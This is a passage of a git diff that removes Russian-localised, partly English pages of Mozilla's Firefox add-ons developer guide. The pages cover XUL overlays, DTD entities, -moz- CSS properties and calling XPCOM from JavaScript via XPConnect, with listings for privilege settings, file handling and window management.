-<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-  &lt;hbox id="box1" align="center" style="border: 1px solid; margin: 1em;"&gt;
-    &lt;button label="Button 1"/&gt;
-    &lt;button label="Button 2" insertbefore="label1"/&gt;
-  &lt;/hbox&gt;
-  &lt;button label="Button 3"/&gt;
-&lt;/overlay&gt;
-</pre>
-<p><strong>Listing 25: Substitute code for </strong><code><strong>overlayDocument.xul</strong></code></p>
-<p>Let's open <code>base.xul</code> in a Firefox window again. As shown in Figure 20, the <code>style</code> attribute from the element with the <code>id</code> "box1" in the overlay document has been merged with the markup for the button with that <code>id</code> in the base document, and inserted into the box.</p>
-<p><img alt="" class="internal" src="/@api/deki/files/3826/=figure-20.png" style="width: 406px; height: 116px;"></p>
-<p> <strong>Figure 20: Output from listing 23 and 25</strong></p>
-<p>Furthermore, following the declaration <code>insertbefore="label1"</code>, the "button2" button now has been inserted before the element with the <code>id</code> "label1". Conversely, if we wanted to insert it directly after, we could have used the attribute <code>insertafter</code>. We can also use the <a class="internal" href="/en/XUL/Attribute/position" title="en/XUL/Attribute/Position"><code>position</code></a> attribute as a way to locate an element numerically at any position; for example, using <code>position="4"</code> would insert it as the fourth element.</p>
-<h3 id="External_entities">External entities</h3>
-<p>Being a form of XML, XUL can also use entity references based on DTDs (document type definitions) as shown in Listing 26. Note that external DTD files are limited to what is given in the chrome URL, which will be discussed in Chapter 5. Please be aware that ordinary DTD files on the web or in a local directory will not be opened.</p>
-<div class="note">
- <strong>Note:</strong> You may use a relative path to access a chrome URL from an XUL document.</div>
-<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;?xml-stylesheet href="chrome://global/skin/"?&gt;
-&lt;!DOCTYPE window SYSTEM "chrome://testapp/locale/testapp.dtd"&gt;
-&lt;window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-  &lt;button label="&amp;button.1.label;"/&gt;
-  &lt;button label="&amp;button.2.label;"/&gt;
-&lt;/window&gt;</pre>
-<p><strong>Listing 26: Reading in external entities</strong></p>
-<pre class="brush: xml">&lt;!ENTITY button.1.label "Firefox"&gt;
-&lt;!ENTITY button.2.label "Thunderbird"&gt;
-</pre>
-<p><strong>Listing 27: testapp.dtd</strong></p>
-<h3 id="Substituting_CSS_for_attribute_declarations">Substituting CSS for attribute declarations</h3>
-<p>The Gecko rendering engine includes a number of CSS properties with <code>-moz-</code> prepended to them; these are <a class="internal" href="/en/CSS_Reference/Mozilla_Extensions" title="en/CSS Reference/Mozilla Extensions">custom properties for XUL</a> that have been implemented prior to being a W3C recommendation. The ones shown in Table A below correspond to the common attributes in XUL. In fact, those XUL attributes operate through these CSS properties.</p>
-<p>The values declared for these CSS properties are the same integers or keywords used by the XUL attributes. While we don't recommend that you use these properties in ordinary XUL development, they can be useful for customizing the Firefox UI without scripting by using <code>userChrome.css</code>. For example, if you save the contents of Listing 28 as <code>userChrome.css</code> and save that in the <code>chrome</code> directory under the user profile directory, the tab bar will appear at the bottom of the content area.</p>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">XUL attribute</td>
- <td class="header">CSS property</td>
- <td class="header">Example</td>
- </tr>
- <tr>
- <td><a class="internal" href="/en/XUL/Attribute/orient" title="En/XUL/Attribute/Orient"><code>orient</code></a></td>
- <td><code>-moz-box-orient</code></td>
- <td>
- <p><code>-moz-box-orient: vertical;</code></p>
- </td>
- </tr>
- <tr>
- <td><a class="internal" href="/en/XUL/Attribute/align" title="En/XUL/Attribute/Align"><code>align</code></a></td>
- <td>
- <p><code>-moz-box-align</code></p>
- </td>
- <td>
- <p><code>-moz-box-align: start;</code></p>
- </td>
- </tr>
- <tr>
- <td><a class="internal" href="/en/XUL/Attribute/pack" title="En/XUL/Attribute/Pack"><code>pack</code></a></td>
- <td>
- <p><code>-moz-box-pack</code></p>
- </td>
- <td>
- <p><code>-moz-box-pack: stretch;</code></p>
- </td>
- </tr>
- <tr>
- <td><code><a class="internal" href="/en/XUL/Attribute/flex" title="En/XUL/Attribute/Flex">flex</a></code></td>
- <td><code>-moz-box-flex</code></td>
- <td><code>-moz-box-flex: 1;</code></td>
- </tr>
- <tr>
- <td><code><a class="internal" href="/en/XUL/Attribute/ordinal" title="En/XUL/Attribute/Ordinal">ordinal</a></code></td>
- <td><code>-moz-box-ordinal-group</code></td>
- <td><code>-moz-box-ordinal-group: 2</code></td>
- </tr>
- </tbody>
-</table>
-<p><strong>Table 4: CSS properties corresponding to XUL attributes</strong></p>
-<pre class="brush: css">tabbrowser .tabbrowser-strip {
-  -moz-box-ordinal-group: 2;
-}
-tabbrowser tabpanels {
-  -moz-box-ordinal-group: 1;
-}
-</pre>
-<p><strong>Listing 28: A user stylesheet that locates the tab bar at the bottom</strong></p>
-<h3 id="Icons_corresponding_to_filetypes">Icons corresponding to filetypes</h3>
-<p>Firefox allows you to use a special URI scheme, <code>moz-icon</code>, that produces filetype icons that are standard for whatever platform it is running on. For example, to display a 16x16 icon for a file with a .pdf dot-extension (a PDF file), you would write <code><a class="external" rel="freelink">moz-icon://.PDF?size=16</a></code>.</p>
-<p>You can reference icons using content type as a key rather than dot-extension; for example, you could display a plain-text icon using <code><a class="external" rel="freelink">moz-icon://goat?size=16&amp;contentType=text/plain</a></code>.</p>
-<p>You can also display specific icons using the markup moz-icon:file URL?size=size.</p>
-<p>The button icons mentioned in Table 2 also can be called using <code>moz-icon</code> URIs, using the markup <code><a class="external" rel="freelink">moz-icon://stock/gtk-button</a> name?size=button</code>. Note, however, that this does not work in Linux environments.</p>
-<h3 id="Spin_buttons">Spin buttons</h3>
-<p>You can add a <code>type="number"</code> declaration to a <a class="internal" href="/en/XUL/textbox" title="En/XUL/Textbox"><code>textbox</code></a> element, making it a <code>textbox</code> specifically for entering numeric values. This will cause the spin buttons seen in Figure 21 to appear. Additional attributes that accompany this are <a class="internal" href="/en/XUL/Attribute/min" title="En/XUL/Attribute/Min"><code>min</code></a> and <a class="internal" href="/en/XUL/Attribute/max" title="En/XUL/Attribute/Max"><code>max</code></a> to set minimum and maximum values, and <code><a class="internal" href="/en/XUL/Attribute/increment" title="En/XUL/Attribute/Increment">increment</a></code>, which sets the amount by which one click on the spin buttons will change the displayed value.</p>
-<p><img alt="" class="internal" src="/@api/deki/files/3824/=figure-21.png" style="width: 214px; height: 40px;"></p>
-<p><strong>Figure 21: A textbox for numeric input</strong></p>
-<h3 id="Sliders">Sliders</h3>
-<p>The <a class="internal" href="/en/XUL/scale" title="En/XUL/Scale"><code>scale</code></a> element is used similarly to the volume slider in Windows, allowing the user to vary a value by moving a slider up/down or left/right (see Listing 28 and Figure 22).</p>
-<div class="note">
- <strong>Note:</strong> Although this control is also known as a slider, the slider element already exists in XUL as a part of a scrollbar, so this element has been named "scale".</div>
-<pre class="brush: xml">&lt;hbox&gt;
- &lt;scale orient="horizontal" min="-100" max="100" value="0"/&gt;
- &lt;scale orient="vertical" min="0" max="100" value="50"/&gt;
-&lt;/hbox&gt;
-</pre>
-<p><strong>Listing 29: The scale element</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3823/=figure-22.png" style="width: 130px; height: 106px;"></p>
-<p><strong>Figure 22: Output from Listing 29</strong></p>
-<p>{{ PreviousNext("Firefox addons developer guide/Technologies used in developing extensions", "Firefox addons developer guide/Using XPCOM—Implementing advanced processes") }}</p>
diff --git a/files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html b/files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html
deleted file mode 100644
index cb3434ee96..0000000000
--- a/files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: 'Глава 2: Технологии используемые при разработке расширений'
-slug: Firefox_addons_developer_guide/Technologies_used_in_developing_extensions
-translation_of: >-
- Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Technologies_used_in_developing_extensions
----
-<p>{{ Draft() }} {{ PreviousNext("Firefox addons developer guide/Introduction to Extensions", "Firefox addons developer guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI") }}</p>
-<p><em>This document was authored by <a class="external" href="http://piro.sakura.ne.jp/" title="http://piro.sakura.ne.jp/">Hiroshi Shimoda</a> of </em><a class="external" href="http://www.clear-code.com/" title="http://www.clear-code.com/"><em>Clear Code Inc.</em></a><em> and was originally published in Japanese for the </em><a class="link-https" href="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English" title="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English"><em>Firefox Developers Conference Summer 2007</em></a><em>. Shimoda-san </em><em>is a co-author of <a class="external" href="http://www.oreilly.co.jp/books/9784873113753/index.html" title="http://www.oreilly.co.jp/books/9784873113753/index.html">Firefox 3 Hacks</a> (O'Reilly Japan, 2008).</em></p>
-<p>Перед более глубоким объяснением, давайте быстро познакомимся с технологиями, используемыми при разработке расширений Firefox. Мы также рассмотрим минимум знаний, которые потрепуются при разработке для Firefox.</p>
-<h2 id="Технолоии_используемые_для_разработки_расширений_Firefox">Технолоии, используемые для разработки расширений Firefox</h2>
-<p>И Firefox, и его расширения основываются на технологиях, широко используемых в веб. Их структура похожа на структуру динамического HTML, применяемого на некоторых веб-страницах, или на HTML-приложения в Windows. Если вы имеете опыт разработки динамического HTML, то, вероятно, относительно легко усвоите знания, необходимые для разработки расширений Firefox.</p>
-<h2 id="Место_каждой_технологии">Место каждой технологии</h2>
-<p>Firefox по большей части построен при помощи четырех технологий: <a class="internal" href="/en/XUL" title="En/XUL">XUL</a>, <a class="internal" href="/en/CSS" title="En/CSS">CSS</a>, <a class="internal" href="/en/JavaScript" title="En/JavaScript">JavaScript</a> и <a class="internal" href="/en/XPCOM" title="En/XPCOM">XPCOM</a>. Приложения строятся таким же образом.</p>
-<p><strong>Рисунок 1: Место каждлй технологии в Firefox</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3762/=chap2_fig1.png" style="width: 740px; height: 350px;"></p>
-<p>In addition to these technologies, extension development will require you to learn about how to confer privileges to overcome security restrictions on code that you write, and how to embed your code into the Firefox UI. Эти вопросы обсуждаются в <a class="internal" href="/En/Firefox_addons_developer_guide/Let's_build_a_Firefox_extension" title="En/Firefox addons developer guide/Let's build a Firefox extension">Главе 5</a>.</p>
-<h2 id="The_minimum_knowledge_required">The minimum knowledge required</h2>
-<p>In the interest of brevity, I will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for Firefox. I will assume that you have experience developing with dynamic HTML, as well as the topics below. For more information on these technologies, please refer to other sources.</p>
-<ul>
- <li><a class="internal" href="/en/XML" title="En/XML">XML coding</a></li>
- <li><a class="internal" href="/en/CSS" title="En/CSS">CSS coding</a></li>
- <li><a class="internal" href="/en/JavaScript" title="En/JavaScript">Basic JavaScript syntax</a></li>
-</ul>
-<h3 id="XML_A_text-based_structural_language">XML: A text-based structural language</h3>
-<p><a class="external" href="http://www.w3.org/TR/REC-xml/" title="http://www.w3.org/TR/REC-xml/">Extensible Markup Language</a> (XML) is a meta-language for expressing various kinds of data. It was specified in 1998 by W3C, the organization that sets standards for web-related technologies. It has a number of useful qualities: it is generic, extensible, and easy to validate as well-formed.</p>
-<p>Some examples of XML-based markup languages include XHTML, which is HTML redefined on an XML base; SVG, for expressing vector images; and MathML, for expressing mathematical formulas. XUL, which is used in Firefox, is also based on XML.</p>
-<p><strong>Listing 1: XML syntax</strong></p>
-<pre class="brush: xml">&lt;elementname someattribute="somevalue"&gt;
-  content
-&lt;/elementname&gt;</pre>
-<p>As shown in Listing 1, XML uses elements, which consist of an opening tag, a closing tag, and content.</p>
-<div class="note" id="footnote2">
- <strong>Note: </strong>Elements that take no content can be expressed in compact form as <code>&lt;elementname/&gt;.</code></div>
-<p>An element can include other elements as well as text in its content, and all information is structured as a tree. As in all trees, elements can have children (elements contained within them) and parents (elements that contain them). Attributes can also be added to opening tags, each with a value.</p>
-<p>As the "extensible" part of XML implies, elements from various XML-based languages such as XHTML and SVG can be interspersed in one another as a means to extend the language. All elements can carry a "namespace URI" identifier, which is unique for each language. For example, even though XHTML and SVG have elements with the same name, these can be distinguished. The namespace URI for XHTML is <code>"<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"</code> ; for SVG is it "<code><a class="external" href="http://www.w3.org/2000/svg" rel="freelink">http://www.w3.org/2000/svg</a></code>".</p>
-<h3 id="CSS_A_style_language_to_alter_the_display_of_XML_documents">CSS: A style language to alter the display of XML documents</h3>
-<p>Like XML, Cascading Style Sheets (CSS) is a <a class="external" href="http://www.w3.org/Style/CSS/" title="http://www.w3.org/Style/CSS/">technical specification</a> established by the W3C; it is a style-description language defining the display of data marked up in XML and HTML. As shown in Listing 1, it has an extremely simple syntax. By separating the structure of the data, expressed through HTML or XML, and the display style, indicated by CSS, data can be reused better than it is when structural and stylistic markup are both embedded in HTML.</p>
-<p>There are three CSS specifications (Level 1 through Level 3), with progressively powerful features. The Gecko rendering engine handles nearly all of CSS Level 2 and some of CSS Level 3.</p>
-<p><strong>Listing 2: CSS code sample</strong></p>
-<pre class="brush: css">body {
-  color: black;
-  background-color: white;
-}
-p {
-  margin-bottom: 1em;
-  text-indent: 1em;
-}
-</pre>
-<h3 id="JavaScript_The_world's_most_misunderstood_language">JavaScript: The world's most misunderstood language</h3>
-<p>JavaScript is a scripting language first developed in the 1990s, at which time it was created as a way to add dynamic features to web pages. Because it was often used at first to display pop-up windows, marching text in status bars, or in other ways that made web pages less useful to users, the language acquired a reputation as having little practical use and lacking in functionality.</p>
-<p>Also, because a series of security holes were discovered in JavaScript and the compatible technology JScript, there was an initial reluctance to use JavaScript at all.</p>
-<p>Nevertheless, the rise of web services like Google Maps, which used JavaScript and asynchronous communications, created an awareness of a set of technologies nicknamed <a class="internal" href="/en/AJAX" title="En/AJAX">AJAX</a> (Asynchronous JavaScript and XML); that plus the advent of a number of libraries that paper over implementation differences between different web browsers has more recently led to a re-evaluation of JavaScript as a programming language.</p>
-<p>JavaScript is a prototype-based object-oriented language, and as shown in Listing 3, also permits independent class definitions. It does not have strict typing like Java, making it extremely flexible and giving it qualities that in some senses could be considered similar to Lisp.</p>
-<p>Firefox 3.5 includes a number of extensions to the specification standardized in ECMAScript 3rd Edition, and can use <a class="internal" href="/en/New_in_JavaScript_1.7" title="En/New in JavaScript 1.7">JavaScript 1.7</a> and <a class="internal" href="/en/New_in_JavaScript_1.8" title="En/New in JavaScript 1.8">JavaScript 1.8</a>.</p>
-<p><strong>Listing 3: An example of a class definition in JavaScript</strong></p>
-<pre class="brush: js">function MyClass() {
-}
-MyClass.prototype = {
-  property1 : true,
-  property2 : 'string',
-  method : function() {
-    alert('Hello, world!');
-  }
-};
-var obj = new MyClass();
-obj.method();
-</pre>
-<h3 id="DOM_An_API_for_manipulating_XML_documents">DOM: An API for manipulating XML documents</h3>
-<p>The <a class="internal" href="/en/DOM" title="En/DOM">Document Object Model</a> (DOM) is a <a class="external" href="http://www.w3.org/DOM/" title="http://www.w3.org/DOM/">technical standard</a> promulgated by the W3C, and is an API for manipulating the contents of XML documents as objects. In earlier dynamic HTML approaches, the typical method was to use the <code>innerHTML</code> property of the HTML element node to dynamically change the contents of the HTML document by manipulating strings, but using the DOM makes it possible to manipulate XML documents in a way that better matches JavaScript's object-oriented nature.</p>
-<p>In addition, XUL lacks any equivalent for the <code>innerHTML</code> property, so if it weren’t for the DOM, dynamic processing would be impossible.</p>
-<p>There are a number of levels to the DOM with different levels of functionality. Gecko supports nearly all of DOM Level 2 and some of DOM Level 3.</p>
-<p>With the DOM, the contents of an XML document are handled as a "DOM tree," a collection of element nodes and other nodes. Listing 4 shows an example that deletes the second child element of the element with the "toolbar" id, adds a new button element as a substitute, and sets a label attribute.</p>
-<p>We do not go into the details of the various APIs in the DOM. To learn more about the DOM, please take a look at the <a class="internal" href="/en/XUL_Tutorial/Document_Object_Model" title="En/XUL Tutorial/Document Object Model">MDC documentation</a>.</p>
-<p><strong>Listing 4: An example manipulation using the DOM</strong></p>
-<pre class="brush: js">var bar = document.getElementById('toolbar');
-bar.removeChild(bar.childNodes[1]);
-bar.appendChild(document.createElement('button'));
-bar.lastChild.setAttribute('label', 'Hello!');
-</pre>
-<p>{{ PreviousNext("Firefox addons developer guide/Introduction to Extensions", "Firefox addons developer guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI") }}</p>
diff --git a/files/ru/firefox_addons_developer_guide/using_xpcom—implementing_advanced_processes/index.html b/files/ru/firefox_addons_developer_guide/using_xpcom—implementing_advanced_processes/index.html
deleted file mode 100644
index a01dc954a9..0000000000
--- a/files/ru/firefox_addons_developer_guide/using_xpcom—implementing_advanced_processes/index.html
+++ /dev/null
@@ -1,369 +0,0 @@
----
-title: 'Глава 4: Использование XPCOM- реализация более сложных процессов'
-slug: Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes
-translation_of: >-
- Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes
----
-<p>{{ Fx_minversion_header(3.5) }} {{ Draft() }}</p>
-<p>{{ PreviousNext("Firefox addons developer guide/Introduction to XUL—How to build a more intuitive UI", "Firefox addons developer guide/Let%27s build a Firefox extension") }}</p>
-<p> {{ TODO("We should include a link to the MDC list of snippets") }}</p>
-<p> {{ TODO("We need to add a part about 'why and how to create your own component' C++/JS") }}</p>
-<p><em>This document was authored by <a class="external" href="http://piro.sakura.ne.jp/" title="http://piro.sakura.ne.jp/">Hiroshi Shimoda</a> of </em><a class="external" href="http://www.clear-code.com/" title="http://www.clear-code.com/"><em>Clear Code Inc.</em></a><em> and was originally published in Japanese for the </em><a class="link-https" href="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English" title="https://wiki.mozilla.org/Japan/FxDevCon/Summer2007/English"><em>Firefox Developers Conference Summer 2007</em></a><em>. Mr. </em><em>Shimoda </em><em>is a co-author of <a class="external" href="http://www.oreilly.co.jp/books/9784873113753/index.html" title="http://www.oreilly.co.jp/books/9784873113753/index.html">Firefox 3 Hacks</a> (O'Reilly Japan, 2008).</em></p>
-<p>This chapter explains how to use <a class="internal" href="/en/XPCOM" title="en/XPCOM">XPCOM</a> to implement advanced processes using only JavaScript.</p>
-<h2 id="Introduction">Introduction</h2>
-<p>JavaScript lacks functions for opening files and character-code conversion, among other things. A different mechanism is needed to perform these functions. Internet Explorer handles this using ActiveX; in Firefox, we use the <a class="internal" href="/en/XPCOM" title="en/XPCOM">Cross-Platform Component Object Model</a>, or XPCOM.</p>
-<p>Due to <a href="https://developer.mozilla.org/en-US/docs/Bypassing_Security_Restrictions_and_Signing_Code" title="https://developer.mozilla.org/en-US/docs/Bypassing_Security_Restrictions_and_Signing_Code">deprecation of enablePrivilege</a> this functionality can not be used in web pages. EnablePrivilege is disabled in Firefox 15 and will be removed in Firefox 17.</p>
-<h3 id="About_XPCOM">About XPCOM</h3>
-<p>XPCOM is a framework for developing platform-independent components. Components developed in line with that framework are referred to as XPCOM components, and sometimes the components are simply referred to as XPCOMs.</p>
-<p>Firefox itself includes a great number of XPCOM components, and they can be used in extensions as well. Sometimes an extension will be packaged with a special XPCOM component developed specifically for it.</p>
-<div class="note">
- <strong>Note:</strong> If you're developing components in C++ or other compiled languages, be sure to include binaries for every platform.</div>
-<h3 id="Reference_materials">Reference materials</h3>
-<p>To get an idea of what kinds of functions embedded XPCOM can handle, take a look at the  <a class="internal" href="/en/XPCOM_API_Reference" title="En/XPCOM API Reference">API reference</a> and the interface definitions from XPIDL in the actual source code.</p>
-<div class="note">
- <strong>Note:</strong> Interface Definition Language (IDL) is a language for giving standard definitions of objects, methods, and so forth.  The <a class="internal" href="/en/XPIDL" title="En/XPIDL">XPIDL</a> (Cross-Platform IDL) used by Mozilla is a partial extension to the CORBA IDL.</div>
-<p>You can perform a full-text search of the Firefox source code in <a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">Mozilla Cross-Reference</a> using character strings, filenames, etc as search keys. If you’re having trouble with any of the details of the interface, it is helpful to search on the source code for usage examples within Firefox.</p>
-<div class="note">
- <strong>Note:</strong> To look at the Firefox 3 source code, choose "Firefox 3" in the Starting Points list.  For Firefox 3.5 choose "Mozilla 1.9.1."  For the current development trunk of Firefox, choose "Mozilla Central" and for Thunderbird, choose "Comm. Central".</div>
-<h2 id="Calling_XPCOM_from_XPConnect">Calling XPCOM from XPConnect</h2>
-<p>Use the <a class="internal" href="/en/XPConnect" title="En/XPConnect">XPConnect</a> technology to use <a class="internal" href="/en/XPCOM" title="En/XPCOM">XPCOM</a> in JavaScript. Listing 1 shows how you can use XPConnect to acquire references to XPCOM services and create new XPCOM objects.</p>
-<p>Each component is identified with a contract ID in the form <code>@domain_name/module_name/component_name;version_number</code>, and implements one or more interfaces that determine what functions can be called on these components. Interfaces names usually have the forms <code>nsIxxx</code>. In order to have access to the corresponding functions, it is necessary to use the component with the interface you want to use. Some XPCOM components are services, that means only one instance in memory. For instance, this is the case for the bookmarks component, which is actually a service. It lets you access and manipulate the user's bookmarks. Those should be accessed with <code>getService()</code>. For other components, you can create as many instances as you need. For instance, this is the case for files (<a class="internal" href="/en/nsILocalFile" title="En/NsILocalFile"><code>nsILocalFile</code></a>). Those are created with <code>createInstance()</code>. It's important to know whether a component should be created with <code>getService()</code> or <code>createInstance</code>(), because using one instead of the other can cause problems.</p>
-<p><strong>Listing 1: Calling XPCOM functions using XPConnect</strong></p>
-<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
- &lt;script type="application/javascript"&gt;&lt;![CDATA[
- var ioService = Components.classes['@mozilla.org/network/io-service;1']
- .getService(Components.interfaces.nsIIOService);
- alert(ioService);
- ]]&gt;&lt;/script&gt;
-&lt;/page&gt;
-</pre>
-<h2 id="deprecated_inline()_Calling_XPConnect_using_local_files">{{ deprecated_inline() }} Calling XPConnect using local files</h2>
-<p>Try saving the contents of Listing 1 as the file <code>test.xul</code>, somewhere on your desktop, and drag and drop it into Firefox to open it. You'll note that even though the file includes an alert method, nothing happens. This is a by-product of the fact that <code>test.xul</code> currently doesn’t have privileges.</p>
-<p>In order to use XPConnect, the file needs special UniversalXPConnect privileges. Because ordinary web pages and local files don't have privileges, it's impossible to actually try out the sample code in this chapter.</p>
-<p>In order to set UniversalXPConnect privileges, you need to run the code in Listing 2.</p>
-<p><strong>Listing 2: Setting privileges</strong></p>
-<pre class="brush: js">netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
-</pre>
-<div class="note">
- <strong>Note</strong>: This is unneeded when the code is part of an extension, and will result in rejection if submitted to addons.mozilla.org.</div>
-<h3 id="Permit_by_dialog">Permit by dialog</h3>
-<p>Try adding the contents of Listing 2 to <code>test.xul</code>, before the line <code>var ioService = …</code>, and re-open it in Firefox. You should now see the confirmation dialog shown in Figure 1. Pressing the "Permit" button grants UniversalXPConnect permission in this execution context, making it possible to run XPConnect temporarily. An XPConnect-wrapped <a class="internal" href="/en/XPCOM_Interface_Reference/nsIIOService" title="En/NsIIOService"><code>nsIIOService</code></a> message should appear.</p>
-<p>If you check “<em>apply these privileges in the future</em>”, all local files will be able to run XPConnect without confirmation in the future. This is extremely dangerous, and you should never check this option.</p>
-<h3 id="Editing_prefs.js">Editing prefs.js</h3>
-<p>Opening <code>test.xul</code> will produce the dialog shown in Figure 1. This can get annoying. To run the file's scripts without manual confirmation, add the contents of Listing 3 to the <code>prefs.js</code> file in the user profile folder. Opening <code>test.xul</code> will show the local file URL in the location bar. Copy and paste this into the appropriate spot in Listing 3.</p>
-<div class="note">
- <strong>Note:</strong> The location of the user profile will vary depending on your system. On Windows Vista, it will be located at C:\Users\<var>username</var>\AppData\Roaming\Mozilla\Firefox\Profiles\<var>random number</var>.default\ ; On Windows XP or 2000, it will be C:\Documents and Settings\<var>username</var>\Application Data\Mozilla\Firefox\Profiles\<var>random number</var>.default\ ; On Linux, it will be ~/.mozilla/firefox/<var>random number</var>.default/ ; On Mac OS X, it will be ~/Library/Application Support/Firefox/Profiles/<var>random number</var>.default/</div>
-<p>In the interests of security, delete these lines from <code>prefs.js</code> after finishing these tests.</p>
-<p>Note that Firefox itself and its extensions have privileges set by default after installation and registration. Extensions don't need special code like that in Listing 2 in order to get privileges.</p>
-<p>{{ TODO("We should advise against using such method") }}</p>
-<p>{{ TODO("Figure 1: Dialog requesting privileges") }}</p>
-<p><strong>Listing 3: Grant privileges without manual confirmation for a specific file</strong></p>
-<pre class="brush: js">user_pref("capability.principal.codebase.test.granted", "UniversalXPConnect");
-user_pref("capability.principal.codebase.test.id", "File URL");
-</pre>
-<h2 id="Frequently_used_XPCOM_functions">Frequently used XPCOM functions</h2>
-<p>Let’s take a look at those XPCOM functions that are used especially frequently. You should be able to get the gist of how XPCOM is used by looking at the sample code. You can paste almost all the sample code in this chapter into your existing <code>test.xul</code> file to try it out. Feel free to fill in blank spots as you see fit. Make sure to change file paths to match your own environment.</p>
-<p>You can <a class="internal" href="/@api/deki/files/3313/=xpcom-samples.zip" title="/@api/deki/files/3313/=xpcom-samples.zip">download the source code</a> used in this chapter.</p>
-<h3 id="Get_window">Get window</h3>
-<p>While you can use JavaScript to get child windows opened from the parent window, you cannot get dialogs or windows that have no relation to that window. To overcome this limitation, <a class="internal" href="/en/XPCOM_Interface_Reference/nsIWindowMediator" title="En/NsIWindowMediator"><code>nsIWindowMediator</code></a> makes it possible to access all of Firefox's windows.</p>
-<h4 id="Get_active_window">Get active window</h4>
-<p>One thing that <code>nsIWindowMediator</code> is often used for is to get the active window. Listing 4 shows how to get the active browser window and the number of open tabs.</p>
-<p>Passing the name of the window type as the parameter of the {{ ifmethod("nsIWindowMediator", "getMostRecentWindow") }} method returns the most recently active window from among the root element's windows with that type set for the <code>windowtype</code> attribute value. Setting the parameter to <code>null</code> returns the active window from among all windows, including dialogs, etc.</p>
-<p><strong>Listing 4: Get active browser window</strong></p>
-<pre class="brush: js">netscape.security.PrivilegeManager
- .enablePrivilege('UniversalXPConnect');
-
-var WindowMediator = Components
- .classes['@mozilla.org/appshell/window-mediator;1']
- .getService(Components.interfaces.nsIWindowMediator);
-var browser = WindowMediator.getMostRecentWindow('navigator:browser');
-alert(browser.gBrowser.mTabs.length);</pre>
-<h4 id="Get_overview_of_all_windows_with_a_certain_type">Get overview of all windows with a certain type</h4>
-<p>Use the {{ ifmethod("nsIWindowMediator", "getEnumerator") }} method to get an overview of all windows that have a certain type. Listing 5 shows how to get a summary of all browser windows in Firefox and then close them.</p>
-<p><strong>Listing 5: Closing all browser windows</strong></p>
-<pre class="brush: js">var browsers = WindowMediator.getEnumerator('navigator:browser');
-var browser;
-while (browsers.hasMoreElements()) {
- browser = browsers.getNext().QueryInterface(Components.interfaces.nsIDOMWindowInternal);
- browser.BrowserTryToCloseWindow();
-}</pre>
-<p>This method returns an overview of the specified window type in the form of an Iterator pattern object called <a class="internal" href="/en/XPCOM_Interface_Reference/nsISimpleEnumerator" title="En/NsISimpleEnumerator"><code>nsISimpleEnumerator</code></a>. After getting an element with the {{ ifmethod("nsISimpleEnumerator", "getNext") }} method, use the <code>QueryInterface</code> method to get the interface, which allows you to handle each element as a window object.</p>
-<p>Like the <code>getMostRecentWindow()</code> method, passing <code>null</code> as the parameter for the <code>getEnumerator</code>() method enables you to get all windows in Firefox, including dialogs, etc.</p>
-<h2 id="Manipulating_files_using_XPCOM">Manipulating files using XPCOM</h2>
-<p>XPCOM provides a number of interfaces allowing you to perform file manipulations without concern for whether you are running on Windows, Mac OS X, or Linux.</p>
-<p>In order to work with local files, first you need to create a <a class="internal" href="/en/nsILocalFile" title="En/NsILocalFile"><code>nsILocalFile</code></a> object representing the local file, as shown in Listing 6. When you initialize this by passing the full path to the file with the {{ ifmethod("nsILocalFile", "initWithPath") }} method, it becomes available to all functions. It doesn't matter whether a file at the specified path already exists.</p>
-<div class="note">
- <strong>Note:</strong> Use the path format suited to your platform: the Windows “\” path delimiter is interpreted as an escape code, and so should always be written “\\”; characters like “./” on Linux require no special handling.</div>
-<p><strong>Listing 6: Creating an XPCOM object representing a file</strong></p>
-<pre class="brush: js">var file = Components.classes['@mozilla.org/file/local;1']
- .createInstance(Components.interfaces.nsILocalFile);
-file.initWithPath('C:\\temp\\temp.txt');
-</pre>
-<h3 id="Creating_and_deleting_files">Creating and deleting files</h3>
-<p>Listing 7 shows how to delete a file if it exists, and create a new file with the same name.</p>
-<p>Passing <code>true</code> as a parameter for the {{ ifmethod("nsILocalFile", "remove") }} method will recursively delete folders and files. Let's see what happens when we pass <code>true</code> to delete all the contents of a folder.</p>
-<p><strong>Listing 7: Check that file exists, delete it, and create it</strong></p>
-<pre class="brush: js">file.initWithPath('C:\\temp\\temp.txt');
-if (file.exists())
- file.remove(false);
-file.create(file.NORMAL_FILE_TYPE, 0666);
-</pre>
-<p>The first parameter of the {{ ifmethod("nsILocalFile", "create") }} method gives the type of file to create. This is defined using constant properties—to create a normal file, use <code>NORMAL_FILE_TYPE</code>, to create a folder use <code>DIRECTORY_TYPE</code>. The second parameter gives the access privileges to that file using Unix-style octal values.</p>
-<div class="note">
- <strong>Note:</strong> Windows ignores the privileges parameter; other platforms may do so as well.</div>
-<p>The <code>nsILocalFile</code> object includes methods that return virtual state values for the current file, as shown in Table 1.</p>
-<p><strong>Table 1: Methods for checking file states</strong></p>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Method name</td>
- <td class="header">Description</td>
